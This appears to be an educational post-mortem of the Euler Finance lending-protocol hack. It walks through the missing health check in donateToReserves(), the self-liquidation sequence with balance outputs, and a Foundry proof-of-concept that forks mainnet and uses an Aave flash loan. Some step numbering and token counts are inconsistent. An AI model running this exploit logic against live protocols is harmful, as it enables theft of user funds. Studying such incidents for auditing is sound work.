How did the Euler Finance hack happen? - Full Hack Analysis
Euler Finance was hacked for ~$200M due to a missing check on the liquidity status. We explore a step by step of how this attack happened, including a proof of concept.
This attack was made possible due to a missing check on the liquidity status of the account upon donating funds to the protocol coupled with the ability to use loans as self-collateral and Euler’s dynamic liquidation penalty. This meant that the account was able to become insolvent, allowing the attacker to liquidate themself and steal the contract balance.
-- Learn how to spot these vulnerabilities yourself by following our step-by-step guide to getting started as a smart contract auditor.
This article will explore how this attack worked and the steps taken using a proof of concept and observing the state changes using a proof of concept. It will provide a comprehensive explanation of this attack, how it was introduced, and how it could have been avoided.
Euler Finance -Background
Euler Finance is a non-custodial, permissionless lending protocol on the Ethereum blockchain. It allows users to utilize their cryptocurrency assets to earn interest or hedge against market volatility.
To understand how the hacker stole ~$200M, it is important to understand how Euler works:
When users deposit assets into the Euler protocol, they receive ETokens representing their collateral. As these deposited tokens earn interest, the value of the ETokens increases compared to the underlying asset. Almost any asset can be deposited on Euler provided a UniswapV3 pool exists
Deposit tokens and receive ETokens representing the collateral
Users can mint up to 10 times their collateral value in ETokens to gain leverage but doing so will also mint the user DTokens representing their debt.
Euler allows users to use the loan directly as collateral. This is known as layered leverage: newly minted EToken can be used as collateral to borrow additional assets. This amplifies the potential profits but also increases the risk (decreases the health score - defined shortly).
Layered leverage - minting multiple times provided health score is high enough
All loans are technically overcollateralized to ensure the borrower can repay the loan plus the interest.
The health score is used to determine how close the borrower is to liquidation. This is calculated as a ratio of the maximum amount the user can borrow (the maximum loan-to-value (LTV) ratio) to the amount that they have borrowed (their current LTV):
healthScore = MaxLTV / currentLTV
Euler Maximum LTV Values: (a) For regular loans (the collateral token and loaned token are distinct): 75% (b) For self-collateralized loans (the collateral and loaned tokens are the same): 95%
If the user’s health score decreases below 1, they can be liquidated. Usually, liquidations occur for a fixed penalty. However, Euler implemented a soft liquidation mechanism, where ****the penalty starts at 0% and increases by 1% for every 0.1 decrease in health score. This means that liquidators take on the debt at a discount, equal to the penalty percentage.
The hack drained six different tokens using the same method: DAI, stETH, WBTC, and USDC.
Let’s go through how this was done step by step.
Euler Finance Attack Steps
For context, this was the attacker’s balance before the exploit:
Attacker balance before exploit: 0 DAI
1. Borrowed 30 million DAI using a flash loan. A flash loan is executed by smart contracts and enables users to borrow funds without needing collateral. These loans must be repaid in full within the same transaction. If it is not, the entire transaction including the loan reverts.
3. Deposited 20 million DAI to Euler using the EToken::deposit function. The attacker received ~19.5 million ETokens representing the collateral.
After depositing (violator): Collateral (eDAI): 19568124.414447288391400399 Debt (dDAI): 0.000000000000000000000000000
4. Borrowed 195.6 million ETokens and 200 million DTokens using the EToken::mint function, which allows users to borrow up to 10 times their deposit amount. This meant that the borrowed-to-collateral ratio gave an LTV of 93% (remember that the maximum was 95% for self-collateralized loans) and a health score of 1.02 - a fully collateralized loan.
After minting (violator): Collateral (eDAI): 215249368.558920172305404396 Debt (dDAI): 200000000.000000000000000000000000000 Health score: 1.040263157894736842
5. Repaid 10 million DAI to Euler using the DToken::repay function meaning that ~10 million ETokens were burned (leaving the EToken balance the same). This decreases the debt compared to the collateral, increasing the health score.
After repaying (violator): Collateral (eDAI): 215249368.558920172305404396 Debt (dDAI): 190000000.000000000000000000000000000 Health score: 1.089473684210526315
6. Borrowed 195.6 million eDAI and 200 million ETokens using the EToken::mint function again. This made the attacker's position more precarious by decreasing their health score. Increasing the amount borrowed also allowed the attacker to maximize their profits.
After minting (violator): Collateral (eDAI): 410930612.703393056219408393 Debt (dDAI): 390000000.000000000000000000000000000 Health score: 1.020647773279352226
Vulnerability: Lack of liquidity checks on the donateToReserves function. The donateToReserve() function allows users to deposit funds into the reserve. Crucially, this function does not check that the user’s health score remained > 1 after the donation:
The Violator was able to force their self-collateralized leverage position to become under-collateralized by donating ETokens to the reserve. In other words, they donated collateral to the reserve that was being used to secure loans. Their DToken (debt) balance remained unchanged, thus decreasing the health score and creating bad debt. If the Violator had not minted a second time, they would have had to donate more tokens to decrease their health score enough to enable a liquidation with the maximum 20% penalty (corresponding to a health score < 0.8). The hacker’s Liquidator contract could then successfully liquidate the Violator contract and withdraw from the protocol, earning the maximum 20% penalty.
After donating (violator): Collateral (eDAI): 310930612.703393056219408393 Debt (dDAI): 390000000.000000000000000000000000000 Health score: 0.750978643164551262
-- Now using the Liquidator Contract:
8. Checks the liquidation using the Liquidation::checkLiquidation function to obtain the yield and repay values (corresponding to the collateral and debt transferred to the liquidator).
The following code snippet from the computeLiqOpp() function, called in checkLiquidation(), ensures that the amount of EToken to be sent to the liquidator does not exceed the borrower’s available collateral. If the collateral does not satisfy the expected repayment yield, the remaining collateral is used by default. This means that liquidators only ever incur debt that equals the collateral they acquire at the discount dictated by the soft-liquidation mechanism.
However, this check is based on the assumption that the violator’s collateral can never be lower than the debt.
// Limit yield to borrower's available collateral, and reduce repay if necessary
// This can happen when borrower has multiple collaterals and seizing all of this one won't bring the violator back to solvency
liqOpp.yield = liqOpp.repay * liqOpp.conversionRate / 1e18;
{
uint collateralBalance = balanceToUnderlyingAmount(collateralAssetCache, collateralAssetStorage.users[liqLocs.violator].balance);
// if collateral < debt then collateral will be < yield
if (collateralBalance < liqOpp.yield) {
liqOpp.repay = collateralBalance * 1e18 / liqOpp.conversionRate;
liqOpp.yield = collateralBalance;
}
}
- The violator’s health score dropped below 1 and the soft-liquidation mechanism was triggered.
- The yield cannot exceed the available collateral and the discount equal to the penalty fee of 20% needs to be maintained, as enforced in computeLiqOpp(). Since the Violator's EToken balance exceeded their DToken balance, the entire balance of ETokens was transferred to the Liquidator while a portion of the DTokens remained in the Violator’s account. This ensured that the discount was applied and the health score of the Liquidator was maintained; however, this created bad debt that will never be repaid.
- This meant the Liquidator’s profit entirely covered their debt, as the value of the collateral obtained after liquidation was greater than the value of the debt. Thus, the liquidator could successfully withdraw the obtained funds without the need for any additional collateral.
- The Liquidator contract received 259 million DTokens and 311 million ETokens from the Violator.
After liquidating (liquidator): Collateral (eDAI): 310930612.703393056219408392 Debt (dDAI): 259319058.477209877830400000000000000
After liquidating (violator): Collateral (eDAI): 0.000000000000000001 Debt (dDAI): 135765628.943911884480000000000000000
The exchange rate for the EToken to the underlying token was skewed due to the total borrows in the system being artificially increased, meaning that the attacker could withdraw more DAI for their ETokens. As the attacker already had more ETokens than DTokens, the Liquidator was able to withdraw the total contract balance of ~38.9m DAI by burning ~38m of their ETokens.
After withdrawing (liquidator): Collateral (eDAI): 272866200.699670845275982401 // The entire vault was drained - not enough funds in pool to withdraw fully Debt (dDAI): 259319058.477209877830400000000000000 EULER balance: 0 DAI
11. Repaid the flash loan using the profits (30 million DAI for the loan plus 27k DAI in interest) leaving ~8.88 million DAI profit.
Attacker balance after exploit: 8877507 DAI
12. Repeated the attack on other liquidity pools, resulting in a net profit of $197 million.
Causes
There are two critical reasons the attack was able to happen:
Lack of health check after donation: Failure to check whether the user was in a state of undercollateralization after donating funds to the reserve address resulted in the soft liquidation mechanism being able to be triggered. This alongside self-collateralized layered leverage enabled the attacker to self-liquidate with the maximum penalty of 20%.
The Liquidator’s profit exceeded their debt: The Violator’s health score dropped below 1 when the soft liquidation logic was triggered due to the balance of ETokens exceeding the balance of DTokens post-donation. Since the computeLiqOpp() function ensured that the Liquidator’s health score was above 1 while maintaining the 20% discount on the ETokens, bad debt was able to be locked in the Violator contract. This allowed the Liquidator’s profit to entirely cover their debt, as the value of the collateral obtained after liquidation was greater than the value of the debt. Thus, the Liquidator could successfully extract the obtained funds without the need for any additional collateral.
This combination of factors enabled the attack to drain the contract’s funds.
Proof of Concept: Replicating the Hack
The following code, written using Foundry, is a proof of concept for this hack and recreates the steps described above:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import { Test } from "forge-std/src/Test.sol";
import { console } from "forge-std/src/console.sol";
import { Violator } from "./Violator.sol";
import { Liquidator } from "./Liquidator.sol";
import { IERC20 } from "forge-std/src/interfaces/IERC20.sol";
import { IEToken } from "./interface/IEToken.sol";
import { IDToken } from "./interface/IDToken.sol";
import { IAaveFlashLoan } from "./interface/IAaveFlashLoan.sol";
import { ILiquidation } from "./interface/ILiquidation.sol";
import { MarketsView } from "./MarketsView.sol";
import { IMarkets } from "./interface/IMarkets.sol";
import { IRiskManager } from "euler-contracts/contracts/IRiskManager.sol";
contract EulerFinancePoC is Test {
IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IEToken constant eToken = IEToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
// address eTokenImpl = address(0xeC29b4C2CaCaE5dF1A491f084E5Ec7C62A7EdAb5);
IMarkets constant MARKETS = IMarkets(0x3520d5a913427E6F0D6A83E07ccD4A4da316e4d3);
IMarkets constant MARKETS_IMPL = IMarkets(0x1E21CAc3eB590a5f5482e1CCe07174DcDb7f7FCe);
IDToken constant dToken = IDToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
address constant EULER = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
ILiquidation constant LIQUIDATION = ILiquidation(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
IAaveFlashLoan constant aaveV2 = IAaveFlashLoan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IRiskManager immutable RISK_MANAGER;
Violator violator;
Liquidator liquidator;
address person = makeAddr("person"); // random address used when checking liquidation status
function setUp() public {
vm.createSelectFork("eth", 16817995);
vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
vm.label(address(DAI), "DAI");
vm.label(address(eToken), "eToken");
vm.label(address(dToken), "dToken");
vm.label(address(aaveV2), "Aave");
}
function testExploit() public {
console.log("Attacker balance before exploit:", DAI.balanceOf(address(this))/1e18, IERC20(DAI).symbol());
console.log(" ");
// 1. Flash loan $30 million DAI
uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
// setup the flashLoan arguments
// array of the asset(s) to flashloan
address[] memory assets = new address[](1);
assets[0] = address(DAI);
// array containing the amount(s) of token(s) to flashLoan
uint256[] memory amounts = new uint256[](1);
amounts[0] = aaveFlashLoanAmount;
// modes: the types of debt position to open if the flashloan is not returned.
// 0: no open debt. (amount + fee must be paid or revert)
// 1: stable mode debt
// 2: variable mode debt
uint256[] memory modes = new uint[](1);
modes[0] = 0;
// params (unused) Arbitrary bytes-encoded params that will be passed to executeOperation() method of the receiver contract.
bytes memory params =
abi.encode();
// documentation on Aave flash loans: https://docs.aave.com/developers/guides/flash-loans
aaveV2.flashLoan({receiverAddress: address(this), assets: assets, amounts: amounts, modes: modes, onBehalfOf: address(this), params: params, referralCode: 0});
// 10. attacker's balance > 30 million DAI borrowed + 27k DAI interest => loan repaid successfully automatically (else flashLoan would revert)
// 8.87 million DAI profit!
console.log("Attacker balance after exploit:", DAI.balanceOf(address(this)) / 1e18, IERC20(DAI).symbol());
console.log(" ");
}
// executeOperations is the callback function called by flashLoan. Conforms to the following interface: https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/interfaces/IFlashLoanReceiver.sol
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initator,
bytes calldata params
) external returns (bool) {
// approve aave to spend DAI
DAI.approve(address(aaveV2), type(uint256).max);
// 2. deploy two contracts
violator = new Violator(DAI, IEToken(address(eToken)), dToken, EULER, LIQUIDATION, MARKETS, person);
liquidator = new Liquidator(DAI, IEToken(address(eToken)), dToken, EULER, LIQUIDATION, MARKETS);
// transfer flash loan to the violator
DAI.transfer(address(violator), DAI.balanceOf(address(this)));
violator.violate();
liquidator.liquidate(address(violator));
return true;
}
}
-- A full proof of concept including all the interfaces used can be viewed on GitHub.
How the bug was introduced
The donateToReserves() function was added to the protocol as a remediation for a previous bug.
The exchange rate for how many ETokens a user receives for their underlying tokens is calculated as:
exchangeRate = underlyingBalance / ETokenSupply
An attacker was able to exploit this by minting 1 wei of ETokens, then sending x tokens to the protocol to artificially inflate the exchange rate (ETokenSupply was small and underlyingBalance was large, resulting in a large value for exchangeRate).
This meant that the first lender received 0 ETokens due to floor rounding, meaning that the attacker was able to withdraw all the tokens (including the lender’s) since they owned the total supply.
To mitigate this, Euler added an initial total supply of ETokens and a reserve of 1 million wei, meaning that the first lender contributed a minor amount of tokens to the reserve thereby making it an economically infeasible attack.
This remediation was effective for future ETokens but for existing ones where the underlying token reserve was < 1 million wei, a donateToReserves() function was added to enable governance to increase the minimum reserve. This fixed the deposit bug but enabled the attacker to steal almost $200 million.
1. Invariant Testing: This attack could have been avoided if the health score was tested post-donation - the core invariant being that the health score never goes below 1 unless the value of the underlying changes. New logic and functions added to an existing codebase, such as the donateToReserves() function, should be thoroughly tested in the context of the entire protocol.
-- Learn more about how fuzz invariant testing can help to spot these vulnerabilities by reading this article.
2. Comprehensive Auditing: multiple firms had previously audited Euler Finance; however, the donateToReserves() function was only audited once. The protocol was audited again after the code change; however, the function was out of scope. Comprehensive audits are crucial to ensure that modification of the protocol does not create vulnerabilities in the context of the entire protocol. The donateToReserves() function was never considered when used in the context of lenders, only for the use case where the EToken reserves needed to be increased.
Summary
The absence of a health check in the donateToReserves() function only posed a problem when combined with the implementation of soft (dynamic) liquidation.
The act of donating self-collateralized, layered leverage, reducing the health score below one, combined with the soft-liquidation mechanism, enabled the attacker to self-liquidate at the maximum 20% discount. This resulted in a significant profit for the attacker as the value of the debt was less than the collateral post-liquidation.
This attack could have been mitigated by employing invariant testing alongside an auditing process that considered code changes in the context of the wider protocol and from multiple different entry points.
Getting your protocol audited significantly decreases the probability of an attack like this happening.
To learn smart contract security and development, visit Cyfrin Updraft.